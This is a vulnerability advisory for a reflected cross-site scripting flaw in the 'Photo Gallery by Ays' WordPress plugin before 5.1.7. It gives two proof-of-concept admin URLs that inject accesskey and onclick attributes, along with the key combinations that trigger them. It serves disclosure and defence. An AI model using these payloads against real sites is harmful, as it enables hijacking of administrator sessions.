Photo Gallery by Ays < 5.1.7 - Reflected XSS

2023-05-1600:00:00

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reflected xss

admin access

control bypass

alt+shift+x

ctrl+alt+x

0.001 Low

EPSS

Percentile

23.0%

JSON

The plugin does not escape some parameters before outputting it back in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Make a logged in admin open one of the URLs below

v < 5.1.7 - https://example.com/wp-admin/admin.php?page=gallery-photo-gallery-settings&ays_gpg_tab=" accesskey=X onclick=alert(/XSS/)//
v < 5.1.6 - https://example.com/wp-admin/admin.php?page=gallery-photo-gallery&action=edit&gallery=1&ays_gpg_settings_tab=" accesskey=X onclick=alert(/XSS/)//

The XSS will be triggered when pressing ALT+SHIFT+X on Windows and CTRL+ALT+X on OS X

0.001 Low

EPSS

Percentile

23.0%

JSON

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